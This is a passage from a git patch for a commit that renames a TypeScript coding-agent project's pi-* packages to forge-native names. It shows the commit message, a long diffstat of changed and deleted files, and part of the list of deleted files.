From 02a4339a5188ce3471e1f6c90da1b168f8151c62 Mon Sep 17 00:00:00 2001 From: Mikael Hugo Date: Sun, 10 May 2026 11:28:01 +0200 Subject: [PATCH] refactor: rename pi-* packages to forge-native names (Phase 1) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Rename all four packages/pi-* directories to forge-native names, stripping the 'pi' identity and establishing forge's own: - packages/pi-coding-agent → packages/coding-agent - packages/pi-ai → packages/ai - packages/pi-agent-core → packages/agent-core - packages/pi-tui → packages/tui Package names updated: - @singularity-forge/pi-coding-agent → @singularity-forge/coding-agent - @singularity-forge/pi-ai → @singularity-forge/ai - @singularity-forge/pi-agent-core → @singularity-forge/agent-core - @singularity-forge/pi-tui → @singularity-forge/tui All import references, bare string references, path references, internal variable names (_bundledPi*), and dist files updated. @mariozechner/pi-* third-party compat aliases preserved. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- .sf/backups/db/sf.db.2026-05-08T20-20-34-822Z | Bin 1118208 -> 0 bytes .sf/backups/db/sf.db.2026-05-08T20-44-13-669Z | Bin 1118208 -> 0 bytes .sf/backups/db/sf.db.2026-05-08T22-14-57-817Z | Bin 1224704 -> 0 bytes .sf/backups/db/sf.db.20260508-220250 | Bin 1163264 -> 0 bytes .sf/metrics.db | Bin 1568768 -> 1789952 bytes .sf/metrics.db-shm | Bin 32768 -> 0 bytes .sf/metrics.db-wal | Bin 2690392 -> 0 bytes .sf/model-performance.json | 10 +- biome.json | 2 +- package-lock.json | 33150 ++++++++-------- package.json | 10 +- .../google-gemini-cli-provider/src/index.ts | 2 +- packages/pi-agent-core/package.json | 21 - packages/pi-agent-core/src/agent-loop.test.ts | 1014 - packages/pi-agent-core/src/agent-loop.ts | 975 - packages/pi-agent-core/src/agent.test.ts | 190 - packages/pi-agent-core/src/agent.ts | 688 - packages/pi-agent-core/src/index.ts | 12 - .../src/interactive-questions.test.ts | 73 - .../src/interactive-questions.ts | 171 - packages/pi-agent-core/src/proxy.ts | 363 - packages/pi-agent-core/src/sf-graph.ts | 1035 - packages/pi-agent-core/src/types.ts | 396 - packages/pi-agent-core/tsconfig.json | 34 - packages/pi-ai/bedrock-provider.d.ts | 1 - packages/pi-ai/bedrock-provider.js | 1 - packages/pi-ai/oauth.d.ts | 1 - packages/pi-ai/oauth.js | 1 - packages/pi-ai/package.json | 50 - packages/pi-ai/scripts/generate-models.ts | 1484 - packages/pi-ai/src/api-registry.ts | 89 - packages/pi-ai/src/bedrock-provider.ts | 9 - packages/pi-ai/src/cli.ts | 152 - packages/pi-ai/src/env-api-keys.test.ts | 59 - packages/pi-ai/src/env-api-keys.ts | 192 - packages/pi-ai/src/index.ts | 42 - packages/pi-ai/src/models.custom.ts | 369 - packages/pi-ai/src/models.generated.test.ts | 509 - packages/pi-ai/src/models.generated.ts | 14636 ------- packages/pi-ai/src/models.test.ts | 516 - packages/pi-ai/src/models.ts | 197 - packages/pi-ai/src/oauth.ts | 1 - .../src/providers/amazon-bedrock.test.ts | 184 - .../pi-ai/src/providers/amazon-bedrock.ts | 975 - .../src/providers/anthropic-auth.test.ts | 107 - .../src/providers/anthropic-shared.test.ts | 86 - .../pi-ai/src/providers/anthropic-shared.ts | 937 - .../pi-ai/src/providers/anthropic-vertex.ts | 161 - packages/pi-ai/src/providers/anthropic.ts | 263 - .../src/providers/azure-openai-responses.ts | 318 - .../src/providers/codex-app-server-client.ts | 429 - .../src/providers/github-copilot-headers.ts | 37 - .../providers/google-gemini-cli-core-plan.md | 133 - .../src/providers/google-gemini-cli.test.ts | 83 - .../pi-ai/src/providers/google-gemini-cli.ts | 638 - .../pi-ai/src/providers/google-shared.test.ts | 137 - packages/pi-ai/src/providers/google-shared.ts | 423 - packages/pi-ai/src/providers/google-vertex.ts | 582 - packages/pi-ai/src/providers/google.ts | 545 - packages/pi-ai/src/providers/mistral.ts | 762 - .../src/providers/openai-codex-responses.ts | 672 - .../pi-ai/src/providers/openai-completions.ts | 960 - .../src/providers/openai-responses-shared.ts | 586 - .../pi-ai/src/providers/openai-responses.ts | 267 - packages/pi-ai/src/providers/openai-shared.ts | 215 - .../providers/provider-capabilities.test.ts | 280 - .../src/providers/provider-capabilities.ts | 218 - .../pi-ai/src/providers/register-builtins.ts | 226 - .../src/providers/sanitize-tool-arguments.ts | 87 - .../src/providers/simple-options.test.ts | 48 - .../pi-ai/src/providers/simple-options.ts | 77 - .../transform-messages-report.test.ts | 229 - .../pi-ai/src/providers/transform-messages.ts | 307 - packages/pi-ai/src/stream.ts | 59 - packages/pi-ai/src/types.ts | 465 - packages/pi-ai/src/utils/event-stream.test.ts | 138 - packages/pi-ai/src/utils/event-stream.ts | 223 - packages/pi-ai/src/utils/hash.ts | 17 - packages/pi-ai/src/utils/json-parse.ts | 85 - .../src/utils/oauth/github-copilot.test.ts | 100 - .../pi-ai/src/utils/oauth/github-copilot.ts | 613 - packages/pi-ai/src/utils/oauth/index.ts | 152 - .../pi-ai/src/utils/oauth/openai-codex.ts | 238 - packages/pi-ai/src/utils/oauth/pkce.ts | 37 - packages/pi-ai/src/utils/oauth/types.ts | 52 - packages/pi-ai/src/utils/overflow.ts | 134 - packages/pi-ai/src/utils/repair-tool-json.ts | 340 - packages/pi-ai/src/utils/sanitize-unicode.ts | 28 - .../pi-ai/src/utils/tests/json-parse.test.ts | 43 - .../pi-ai/src/utils/tests/overflow.test.ts | 59 - .../src/utils/tests/repair-tool-json.test.ts | 291 - packages/pi-ai/src/utils/typebox-helpers.ts | 24 - packages/pi-ai/src/utils/validation.ts | 124 - .../pi-ai/src/web-runtime-env-api-keys.ts | 122 - packages/pi-ai/src/web-runtime-oauth.ts | 9 - packages/pi-ai/tsconfig.json | 28 - packages/pi-coding-agent/package.json | 48 - .../pi-coding-agent/scripts/copy-assets.cjs | 64 - packages/pi-coding-agent/src/cli.ts | 24 - packages/pi-coding-agent/src/cli/args.test.ts | 21 - packages/pi-coding-agent/src/cli/args.ts | 377 - .../src/cli/config-selector.ts | 57 - .../pi-coding-agent/src/cli/file-processor.ts | 105 - .../src/cli/list-models.test.ts | 88 - .../pi-coding-agent/src/cli/list-models.ts | 223 - .../pi-coding-agent/src/cli/session-picker.ts | 56 - packages/pi-coding-agent/src/config.ts | 258 - ...agent-session-custom-message-queue.test.ts | 112 - .../core/agent-session-model-switch.test.ts | 27 - .../agent-session-print-mode-persist.test.ts | 181 - .../agent-session-renderable-tools.test.ts | 73 - .../core/agent-session-tool-refresh.test.ts | 67 - .../pi-coding-agent/src/core/agent-session.ts | 3356 -- .../src/core/artifact-manager.ts | 125 - .../src/core/auth-storage.test.ts | 684 - .../pi-coding-agent/src/core/auth-storage.ts | 1033 - .../pi-coding-agent/src/core/bash-executor.ts | 351 - .../pi-coding-agent/src/core/blob-store.ts | 165 - .../src/core/chat-controller-ordering.test.ts | 1588 - .../src/core/compaction-orchestrator.ts | 496 - .../src/core/compaction-utils.test.ts | 75 - .../core/compaction/branch-summarization.ts | 323 - .../src/core/compaction/compaction.test.ts | 267 - .../src/core/compaction/compaction.ts | 961 - .../src/core/compaction/index.ts | 7 - .../src/core/compaction/utils.ts | 309 - .../pi-coding-agent/src/core/constants.ts | 59 - .../src/core/contextual-tips.test.ts | 326 - .../src/core/contextual-tips.ts | 237 - packages/pi-coding-agent/src/core/defaults.ts | 3 - .../pi-coding-agent/src/core/diagnostics.ts | 15 - .../src/core/discovery-cache.test.ts | 181 - .../src/core/discovery-cache.ts | 110 - .../pi-coding-agent/src/core/event-bus.ts | 33 - packages/pi-coding-agent/src/core/exec.ts | 99 - .../src/core/export-html/ansi-to-html.ts | 271 - .../src/core/export-html/index.ts | 355 - .../src/core/export-html/template.css | 971 - .../src/core/export-html/template.html | 53 - .../src/core/export-html/template.js | 1840 - .../src/core/export-html/tool-renderer.ts | 130 - .../core/export-html/vendor/highlight.min.js | 1213 - .../src/core/export-html/vendor/marked.min.js | 6 - .../extensions/extension-manifest.test.ts | 83 - .../src/core/extensions/extension-manifest.ts | 64 - .../core/extensions/extension-sort.test.ts | 137 - .../src/core/extensions/extension-sort.ts | 137 - .../src/core/extensions/index.ts | 178 - .../src/core/extensions/loader.test.ts | 388 - .../src/core/extensions/loader.ts | 1187 - .../src/core/extensions/project-trust.ts | 54 - .../extensions/provider-registration.test.ts | 81 - .../src/core/extensions/runner.test.ts | 235 - .../src/core/extensions/runner.ts | 1039 - .../src/core/extensions/types.ts | 1839 - .../src/core/extensions/wrapper.ts | 159 - .../src/core/fallback-resolver.test.ts | 273 - .../src/core/fallback-resolver.ts | 170 - .../src/core/footer-data-provider.ts | 155 - .../pi-coding-agent/src/core/fs-utils.test.ts | 54 - packages/pi-coding-agent/src/core/fs-utils.ts | 16 - .../src/core/image-overflow-recovery.test.ts | 243 - .../src/core/image-overflow-recovery.ts | 126 - packages/pi-coding-agent/src/core/index.ts | 78 - .../src/core/keybindings-followup.test.ts | 15 - .../pi-coding-agent/src/core/keybindings.ts | 211 - .../src/core/lifecycle-hooks.test.ts | 304 - .../src/core/lifecycle-hooks.ts | 329 - .../src/core/local-model-check.ts | 45 - .../pi-coding-agent/src/core/lock-utils.ts | 113 - .../pi-coding-agent/src/core/lsp/client.ts | 1060 - .../pi-coding-agent/src/core/lsp/config.ts | 414 - .../src/core/lsp/defaults.json | 591 - .../pi-coding-agent/src/core/lsp/edits.ts | 145 - .../pi-coding-agent/src/core/lsp/helpers.ts | 57 - .../pi-coding-agent/src/core/lsp/index.ts | 1337 - .../src/core/lsp/lsp-integration.test.ts | 532 - .../src/core/lsp/lsp-legacy-alias.test.ts | 70 - packages/pi-coding-agent/src/core/lsp/lsp.md | 39 - .../pi-coding-agent/src/core/lsp/lspmux.ts | 226 - .../pi-coding-agent/src/core/lsp/types.ts | 471 - .../pi-coding-agent/src/core/lsp/utils.ts | 779 - .../src/core/memory/federated-memory.test.ts | 43 - .../src/core/memory/federated-memory.ts | 70 - .../pi-coding-agent/src/core/messages.test.ts | 119 - packages/pi-coding-agent/src/core/messages.ts | 261 - .../src/core/model-discovery.test.ts | 518 - .../src/core/model-discovery.ts | 577 - .../src/core/model-registry-auth-mode.test.ts | 914 - .../src/core/model-registry-discovery.test.ts | 386 - .../core/model-registry-env-fallback.test.ts | 123 - .../core/model-registry-proxy-routing.test.ts | 612 - .../src/core/model-registry.ts | 1496 - .../model-resolver-initial-model-auth.test.ts | 79 - .../src/core/model-resolver.test.ts | 91 - .../src/core/model-resolver.ts | 601 - .../src/core/models-json-writer.test.ts | 188 - .../src/core/models-json-writer.ts | 211 - .../src/core/package-commands.test.ts | 311 - .../src/core/package-commands.ts | 381 - .../src/core/package-manager.ts | 2277 -- .../src/core/prompt-templates.ts | 340 - .../src/core/resolve-config-value.test.ts | 350 - .../src/core/resolve-config-value.ts | 170 - .../core/resource-loader-cache-reset.test.ts | 45 - .../src/core/resource-loader.ts | 1122 - .../src/core/retry-handler.test.ts | 842 - .../pi-coding-agent/src/core/retry-handler.ts | 734 - packages/pi-coding-agent/src/core/sdk.test.ts | 125 - packages/pi-coding-agent/src/core/sdk.ts | 627 - .../src/core/session-manager.test.ts | 74 - .../src/core/session-manager.ts | 1821 - .../core/settings-manager-security.test.ts | 141 - .../src/core/settings-manager.ts | 1377 - .../src/core/skill-tool.test.ts | 107 - packages/pi-coding-agent/src/core/skills.ts | 546 - .../src/core/slash-commands.ts | 57 - .../pi-coding-agent/src/core/system-prompt.ts | 301 - packages/pi-coding-agent/src/core/timings.ts | 25 - .../src/core/tools/bash-background.test.ts | 109 - .../src/core/tools/bash-interceptor.test.ts | 295 - .../src/core/tools/bash-interceptor.ts | 124 - .../src/core/tools/bash-spawn-windows.test.ts | 105 - .../pi-coding-agent/src/core/tools/bash.ts | 554 - .../src/core/tools/edit-diff.test.ts | 94 - .../src/core/tools/edit-diff.ts | 555 - .../pi-coding-agent/src/core/tools/edit.ts | 289 - .../pi-coding-agent/src/core/tools/find.ts | 233 - .../pi-coding-agent/src/core/tools/grep.ts | 427 - .../src/core/tools/hashline-edit.ts | 365 - .../src/core/tools/hashline-read.ts | 255 - .../src/core/tools/hashline.test.ts | 540 - .../src/core/tools/hashline.ts | 554 - .../pi-coding-agent/src/core/tools/index.ts | 258 - packages/pi-coding-agent/src/core/tools/ls.ts | 197 - .../src/core/tools/path-utils.test.ts | 118 - .../src/core/tools/path-utils.ts | 124 - .../pi-coding-agent/src/core/tools/read.ts | 387 - .../core/tools/spawn-shell-windows.test.ts | 92 - .../core/tools/tool-compatibility-registry.ts | 94 - .../src/core/tools/truncate.ts | 281 - .../pi-coding-agent/src/core/tools/write.ts | 136 - packages/pi-coding-agent/src/index.ts | 440 - packages/pi-coding-agent/src/main.ts | 815 - packages/pi-coding-agent/src/migrations.ts | 308 - packages/pi-coding-agent/src/modes/index.ts | 24 - .../interactive/autoreload-contract.test.ts | 31 - .../components/__tests__/login-dialog.test.ts | 30 - .../__tests__/provider-display-name.test.ts | 19 - .../components/__tests__/timestamp.test.ts | 41 - .../__tests__/tool-execution.test.ts | 155 - .../src/modes/interactive/components/armin.ts | 424 - .../components/assistant-message.ts | 210 - .../interactive/components/bash-execution.ts | 243 - .../interactive/components/bordered-loader.ts | 78 - .../components/branch-summary-message.ts | 67 - .../components/compaction-summary-message.ts | 68 - .../interactive/components/config-selector.ts | 673 - .../interactive/components/countdown-timer.ts | 41 - .../interactive/components/custom-editor.ts | 109 - .../interactive/components/custom-message.ts | 113 - .../modes/interactive/components/daxnuts.ts | 169 - .../src/modes/interactive/components/diff.ts | 179 - .../components/dynamic-border.test.ts | 60 - .../interactive/components/dynamic-border.ts | 91 - .../components/extension-editor.ts | 155 - .../interactive/components/extension-input.ts | 108 - .../components/extension-selector.ts | 166 - .../modes/interactive/components/footer.ts | 279 - .../src/modes/interactive/components/index.ts | 56 - .../components/keybinding-hints.ts | 97 - .../interactive/components/login-dialog.ts | 295 - .../interactive/components/model-selector.ts | 780 - .../interactive/components/oauth-selector.ts | 141 - .../components/provider-manager.ts | 241 - .../components/scoped-models-selector.ts | 443 - .../components/session-selector-search.ts | 199 - .../components/session-selector.ts | 1148 - .../components/settings-selector.ts | 622 - .../components/show-images-selector.ts | 61 - .../components/skill-invocation-message.ts | 69 - .../interactive/components/theme-selector.ts | 66 - .../components/thinking-selector.ts | 74 - .../modes/interactive/components/timestamp.ts | 51 - .../interactive/components/tool-execution.ts | 1372 - .../components/tree-render-utils.ts | 104 - .../interactive/components/tree-selector.ts | 1419 - .../components/user-message-selector.ts | 180 - .../interactive/components/user-message.ts | 57 - .../interactive/components/visual-truncate.ts | 50 - .../controllers/chat-controller.test.ts | 71 - .../controllers/chat-controller.ts | 938 - .../extension-ui-controller.test.ts | 118 - .../controllers/extension-ui-controller.ts | 173 - .../controllers/input-controller.test.ts | 401 - .../controllers/input-controller.ts | 160 - .../controllers/model-controller.ts | 84 - .../interactive/interactive-mode-state.ts | 37 - .../src/modes/interactive/interactive-mode.ts | 4348 -- .../interactive/slash-command-handlers.ts | 780 - .../src/modes/interactive/theme/theme.ts | 1139 - .../src/modes/interactive/theme/themes.ts | 190 - .../modes/interactive/utils/shorten-path.ts | 14 - .../pi-coding-agent/src/modes/print-mode.ts | 138 - .../pi-coding-agent/src/modes/rpc/jsonl.ts | 67 - .../src/modes/rpc/remote-terminal.ts | 109 - .../src/modes/rpc/rpc-client.ts | 707 - .../pi-coding-agent/src/modes/rpc/rpc-mode.ts | 1228 - .../src/modes/rpc/rpc-protocol-v2.test.ts | 1054 - .../src/modes/rpc/rpc-types.ts | 505 - .../modes/shared/command-context-actions.ts | 55 - .../src/resources/extensions/memory/index.ts | 278 - .../resources/extensions/memory/pipeline.ts | 587 - .../extensions/memory/storage.test.ts | 88 - .../resources/extensions/memory/storage.ts | 458 - .../src/tests/path-display.test.ts | 92 - .../tests/system-prompt-skill-filter.test.ts | 181 - .../src/types/ambient-modules.d.ts | 43 - .../pi-coding-agent/src/utils/changelog.ts | 103 - .../src/utils/clipboard-image.ts | 267 - .../src/utils/clipboard-native.ts | 11 - .../pi-coding-agent/src/utils/clipboard.ts | 14 - packages/pi-coding-agent/src/utils/error.ts | 6 - .../pi-coding-agent/src/utils/frontmatter.ts | 45 - packages/pi-coding-agent/src/utils/git.ts | 194 - .../src/utils/image-convert.ts | 28 - .../pi-coding-agent/src/utils/image-resize.ts | 240 - packages/pi-coding-agent/src/utils/mime.ts | 42 - .../pi-coding-agent/src/utils/path-display.ts | 36 - packages/pi-coding-agent/src/utils/photon.ts | 2 - .../pi-coding-agent/src/utils/proxy-server.ts | 313 - .../src/utils/shell-env.test.ts | 23 - packages/pi-coding-agent/src/utils/shell.ts | 250 - packages/pi-coding-agent/src/utils/sleep.ts | 18 - .../src/utils/tools-manager.ts | 344 - packages/pi-coding-agent/tsconfig.json | 28 - packages/pi-tui/package.json | 33 - .../pi-tui/src/__tests__/autocomplete.test.ts | 243 - packages/pi-tui/src/__tests__/fuzzy.test.ts | 118 - .../src/__tests__/overlay-layout.test.ts | 91 - .../pi-tui/src/__tests__/stdin-buffer.test.ts | 43 - packages/pi-tui/src/__tests__/tui.test.ts | 130 - packages/pi-tui/src/autocomplete.ts | 754 - .../__tests__/cancellable-loader.test.ts | 60 - .../src/components/__tests__/editor.test.ts | 81 - .../src/components/__tests__/input.test.ts | 70 - .../src/components/__tests__/loader.test.ts | 88 - .../__tests__/markdown-maxlines.test.ts | 94 - packages/pi-tui/src/components/box.ts | 151 - .../src/components/cancellable-loader.ts | 42 - packages/pi-tui/src/components/editor.ts | 2406 -- packages/pi-tui/src/components/image.test.ts | 42 - packages/pi-tui/src/components/image.ts | 139 - packages/pi-tui/src/components/input.ts | 590 - packages/pi-tui/src/components/loader.ts | 94 - packages/pi-tui/src/components/markdown.ts | 950 - packages/pi-tui/src/components/select-list.ts | 234 - .../pi-tui/src/components/settings-list.ts | 283 - packages/pi-tui/src/components/spacer.ts | 28 - packages/pi-tui/src/components/text.ts | 124 - .../pi-tui/src/components/truncated-text.ts | 65 - packages/pi-tui/src/editor-component.ts | 74 - packages/pi-tui/src/fuzzy.ts | 145 - packages/pi-tui/src/index.ts | 113 - packages/pi-tui/src/keybindings.ts | 189 - packages/pi-tui/src/keys.ts | 1356 - packages/pi-tui/src/kill-ring.ts | 46 - packages/pi-tui/src/overlay-layout.ts | 449 - packages/pi-tui/src/stdin-buffer.ts | 408 - packages/pi-tui/src/terminal-image.ts | 280 - packages/pi-tui/src/terminal.ts | 377 - packages/pi-tui/src/tui.ts | 1190 - packages/pi-tui/src/undo-stack.ts | 28 - packages/pi-tui/src/utils.ts | 158 - packages/pi-tui/tsconfig.json | 28 - scripts/bump-version.mjs | 10 +- scripts/generate-features-inventory.mjs | 6 +- scripts/model-smoke-benchmark.mjs | 2 +- scripts/preview-dashboard.ts | 2 +- scripts/validate-pack.js | 12 +- src/cli.ts | 6 +- src/headless-answers.ts | 2 +- src/headless-ui.ts | 2 +- src/headless.ts | 4 +- src/loader.ts | 16 +- src/logger.ts | 6 +- src/onboarding.ts | 2 +- src/pi-migration.ts | 2 +- src/provider-migrations.ts | 2 +- src/resource-loader.ts | 2 +- .../extensions/ask-user-questions.js | 4 +- .../extensions/async-jobs/async-bash-tool.js | 2 +- .../extensions/bg-shell/bg-shell-command.js | 2 +- .../extensions/bg-shell/bg-shell-lifecycle.js | 2 +- .../extensions/bg-shell/bg-shell-tool.js | 4 +- src/resources/extensions/bg-shell/index.js | 2 +- .../extensions/bg-shell/output-formatter.js | 2 +- src/resources/extensions/bg-shell/overlay.js | 2 +- .../extensions/bg-shell/process-manager.js | 2 +- .../extensions/browser-tools/index.js | 2 +- .../browser-tools/tools/assertions.js | 2 +- .../browser-tools/tools/inspection.js | 2 +- .../extensions/browser-tools/tools/intent.js | 2 +- .../browser-tools/tools/interaction.js | 2 +- .../extensions/browser-tools/tools/wait.js | 2 +- .../extensions/browser-tools/utils.js | 2 +- .../claude-code-cli/partial-builder.js | 2 +- .../claude-code-cli/stream-adapter.js | 8 +- src/resources/extensions/context7/index.js | 6 +- .../extensions/get-secrets-from-user.js | 4 +- .../extensions/google-search/index.js | 4 +- src/resources/extensions/mac-tools/index.js | 2 +- src/resources/extensions/mcp-client/index.js | 4 +- src/resources/extensions/ollama/index.js | 2 +- .../extensions/ollama/ollama-chat-provider.js | 4 +- .../extensions/ollama/ollama-commands.js | 2 +- .../extensions/ollama/ollama-tool.js | 2 +- .../extensions/remote-questions/config.js | 2 +- .../extensions/remote-questions/manager.js | 2 +- .../remote-questions/remote-command.js | 4 +- .../extensions/search-the-web/index.js | 2 +- .../extensions/search-the-web/provider.js | 2 +- .../search-the-web/tool-fetch-page.js | 6 +- .../search-the-web/tool-llm-context.js | 6 +- .../extensions/search-the-web/tool-search.js | 6 +- src/resources/extensions/sf-tui/emoji.js | 2 +- src/resources/extensions/sf-tui/footer.js | 2 +- src/resources/extensions/sf-tui/header.js | 2 +- src/resources/extensions/sf-tui/index.js | 2 +- .../extensions/sf-tui/marketplace.js | 2 +- src/resources/extensions/sf-tui/powerline.js | 2 +- .../extensions/sf-tui/prompt-history.js | 2 +- src/resources/extensions/sf-tui/shared.js | 2 +- .../extensions/sf-usage-bar/index.js | 2 +- .../extensions/sf/agentic-docs-scaffold.js | 3 +- src/resources/extensions/sf/auto-dashboard.js | 15 +- src/resources/extensions/sf/auto-dispatch.js | 12 +- src/resources/extensions/sf/auto-post-unit.js | 5 +- src/resources/extensions/sf/auto-prompts.js | 9 +- src/resources/extensions/sf/auto-start.js | 12 +- src/resources/extensions/sf/auto.js | 24 +- src/resources/extensions/sf/auto/phases.js | 18 +- .../extensions/sf/autonomous-solver.js | 79 +- .../sf/bootstrap/agent-end-recovery.js | 17 +- .../extensions/sf/bootstrap/ask-gate.js | 4 +- .../extensions/sf/bootstrap/db-tools.js | 4 +- .../extensions/sf/bootstrap/dynamic-tools.js | 14 +- .../extensions/sf/bootstrap/register-hooks.js | 2 +- .../sf/bootstrap/register-shortcuts.js | 2 +- .../sf/bootstrap/session-todo-tools.js | 6 +- src/resources/extensions/sf/claude-import.js | 2 +- .../extensions/sf/commands-config.js | 2 +- src/resources/extensions/sf/commands-do.js | 2 +- .../extensions/sf/commands-handlers.js | 3 +- .../extensions/sf/commands-schedule.js | 2 +- src/resources/extensions/sf/commands-todo.js | 2 +- src/resources/extensions/sf/commands.js | 2 +- .../extensions/sf/commands/catalog.js | 15 +- src/resources/extensions/sf/commands/index.js | 10 +- .../extensions/sf/component-loader.js | 2 +- .../extensions/sf/component-types.js | 2 +- src/resources/extensions/sf/config-overlay.js | 2 +- .../extensions/sf/dashboard-overlay.js | 2 +- .../extensions/sf/doctor-providers.js | 2 +- src/resources/extensions/sf/doctor.js | 1 + .../extensions/sf/ecosystem/loader.js | 4 +- src/resources/extensions/sf/env-utils.js | 2 +- src/resources/extensions/sf/exit-command.js | 2 +- .../extensions/sf/extension-manifest.json | 4 +- src/resources/extensions/sf/graph-context.js | 6 +- src/resources/extensions/sf/graph.js | 1 - src/resources/extensions/sf/index.js | 4 +- src/resources/extensions/sf/key-manager.js | 4 +- .../sf/learning/fallback-chain-writer.mjs | 34 +- .../sf/learning/hook-handler.test.mjs | 2 +- .../extensions/sf/memory-extractor.js | 2 +- src/resources/extensions/sf/metrics.js | 2 +- .../extensions/sf/milestone-id-utils.js | 4 +- src/resources/extensions/sf/milestone-ids.js | 2 +- src/resources/extensions/sf/model-router.js | 4 +- .../extensions/sf/notification-overlay.js | 2 +- .../extensions/sf/operating-model.js | 7 +- .../extensions/sf/parallel-monitor-overlay.js | 4 +- .../extensions/sf/preferences-models.js | 3 +- src/resources/extensions/sf/preferences.js | 5 +- .../extensions/sf/provider-env-auth.js | 4 +- .../extensions/sf/queue-reorder-ui.js | 2 +- .../sf/safety/sanitize-external-content.js | 18 +- src/resources/extensions/sf/service-tier.js | 2 +- src/resources/extensions/sf/sf-db.js | 27 +- .../extensions/sf/skills/directory.js | 7 + .../extensions/sf/spec-projections.js | 8 +- src/resources/extensions/sf/state.js | 5 +- .../sf/tests/autonomous-solver.test.mjs | 41 +- .../sf/tests/db-driven-runtime-state.test.mjs | 2 +- .../extensions/sf/tests/dist-redirect.mjs | 26 +- .../extensions/sf/tests/resolve-ts-hooks.mjs | 8 +- .../extensions/sf/tests/skills.test.mjs | 17 +- .../extensions/sf/tools/complete-slice.js | 4 +- .../extensions/sf/tools/exec-search-tool.js | 5 +- .../extensions/sf/tools/exec-tool.js | 15 +- .../sf/tools/workflow-tool-executors.js | 2 +- .../sf/vault-credential-resolver.js | 2 +- .../extensions/sf/visualizer-overlay.js | 2 +- .../extensions/sf/visualizer-views.js | 2 +- .../extensions/sf/watch/header-renderer.js | 2 +- .../extensions/sf/workflow-helpers.js | 4 +- .../extensions/sf/workflow-logger.js | 13 +- .../sf/worktree-command-bootstrap.js | 2 +- src/resources/extensions/sf/worktree.js | 13 +- src/resources/extensions/shared/confirm-ui.js | 2 +- .../extensions/shared/format-utils.js | 4 +- .../extensions/shared/interview-ui.js | 2 +- .../extensions/shared/layout-utils.js | 6 +- .../extensions/shared/next-action-ui.js | 2 +- src/resources/extensions/shared/sanitize.js | 2 +- src/resources/extensions/shared/tui.js | 2 +- src/resources/extensions/shared/ui.js | 2 +- .../slash-commands/create-extension.js | 2 +- .../slash-commands/create-slash-command.js | 2 +- src/resources/extensions/subagent/agents.js | 2 +- src/resources/extensions/subagent/index.js | 6 +- .../extensions/subagent/isolation.js | 2 +- src/resources/extensions/voice/index.js | 2 +- .../skills/create-sf-extension/SKILL.md | 10 +- .../references/custom-commands.md | 2 +- .../references/custom-rendering.md | 10 +- .../references/custom-tools.md | 8 +- .../references/custom-ui.md | 12 +- .../references/events-reference.md | 6 +- .../references/packaging-distribution.md | 2 +- .../references/remote-execution-overrides.md | 6 +- .../templates/extension-skeleton.ts | 4 +- .../templates/stateful-tool-skeleton.ts | 6 +- .../templates/templates.test.ts | 12 +- .../workflows/create-extension.md | 4 +- src/security-overrides.ts | 2 +- src/tests/app-smoke.test.ts | 4 +- src/tests/artifact-manager.test.ts | 2 +- ...istant-message-thinking-visibility.test.ts | 2 +- src/tests/blob-store.test.ts | 2 +- .../cli-onboarding-custom-provider.test.ts | 2 +- src/tests/extension-load-perf.test.ts | 4 +- src/tests/footer-component.test.ts | 2 +- .../integration/web-bridge-contract.test.ts | 2 +- .../web-command-parity-contract.test.ts | 2 +- .../web-live-interaction-contract.test.ts | 2 +- .../web-live-state-contract.test.ts | 2 +- .../integration/web-mode-assembled.test.ts | 2 +- .../integration/web-mode-onboarding.test.ts | 2 +- .../integration/web-mode-runtime-harness.ts | 2 +- .../web-onboarding-contract.test.ts | 2 +- .../web-session-parity-contract.test.ts | 4 +- .../model-registry-custom-provider.test.ts | 2 +- src/tests/node-modules-symlink.test.ts | 10 +- src/tests/offline-mode.test.ts | 8 +- src/tests/pi-ai-event-stream-factory.test.ts | 4 +- src/tests/provider-manager-enter-key.test.ts | 2 +- src/tests/provider-manager-remove.test.ts | 6 +- src/tests/read-tool-offset-clamp.test.ts | 2 +- src/tests/resolve-ts-loader.test.ts | 18 +- src/tests/resource-loader-conflicts.test.ts | 2 +- src/tests/security-overrides.test.ts | 2 +- src/tests/session-memory-leaks.test.ts | 14 +- src/tests/terminal-cmux.test.ts | 2 +- .../tui-autocomplete-ghost-lines.test.ts | 2 +- src/tests/tui-content-cursor-desync.test.ts | 2 +- src/tests/tui-non-tty-render-loop.test.ts | 4 +- src/tests/windows-portability.test.ts | 2 +- src/web/bridge-service.ts | 8 +- src/web/onboarding-service.ts | 4 +- src/web/web-auth-storage.ts | 4 +- src/wizard.ts | 2 +- tsconfig.extensions.json | 14 +- vitest.config.ts | 32 +- web/lib/browser-slash-command-dispatch.ts | 2 +- 576 files changed, 17234 insertions(+), 150217 deletions(-) delete mode 100644 .sf/backups/db/sf.db.2026-05-08T20-20-34-822Z delete mode 100644 .sf/backups/db/sf.db.2026-05-08T20-44-13-669Z delete mode 100644 .sf/backups/db/sf.db.2026-05-08T22-14-57-817Z delete mode 100644 .sf/backups/db/sf.db.20260508-220250 delete mode 100644 .sf/metrics.db-shm delete mode 100644 .sf/metrics.db-wal delete mode 100644 packages/pi-agent-core/package.json delete mode 100644 packages/pi-agent-core/src/agent-loop.test.ts delete mode 100644 packages/pi-agent-core/src/agent-loop.ts delete mode 100644 packages/pi-agent-core/src/agent.test.ts delete mode 100644 packages/pi-agent-core/src/agent.ts delete mode 100644 packages/pi-agent-core/src/index.ts delete mode 100644 packages/pi-agent-core/src/interactive-questions.test.ts delete mode 100644 packages/pi-agent-core/src/interactive-questions.ts delete mode 100644 packages/pi-agent-core/src/proxy.ts delete mode 100644 packages/pi-agent-core/src/sf-graph.ts delete mode 100644 packages/pi-agent-core/src/types.ts delete mode 100644 packages/pi-agent-core/tsconfig.json delete mode 100644 packages/pi-ai/bedrock-provider.d.ts delete mode 100644 packages/pi-ai/bedrock-provider.js delete mode 100644 packages/pi-ai/oauth.d.ts delete mode 100644 packages/pi-ai/oauth.js delete mode 100644 packages/pi-ai/package.json delete mode 100644 packages/pi-ai/scripts/generate-models.ts delete mode 100644 packages/pi-ai/src/api-registry.ts delete mode 100644 packages/pi-ai/src/bedrock-provider.ts delete mode 100644 packages/pi-ai/src/cli.ts delete mode 100644 packages/pi-ai/src/env-api-keys.test.ts delete mode 100644 packages/pi-ai/src/env-api-keys.ts delete mode 100644 packages/pi-ai/src/index.ts delete mode 100644 packages/pi-ai/src/models.custom.ts delete mode 100644 packages/pi-ai/src/models.generated.test.ts delete mode 100644 packages/pi-ai/src/models.generated.ts delete mode 100644 packages/pi-ai/src/models.test.ts delete mode 100644 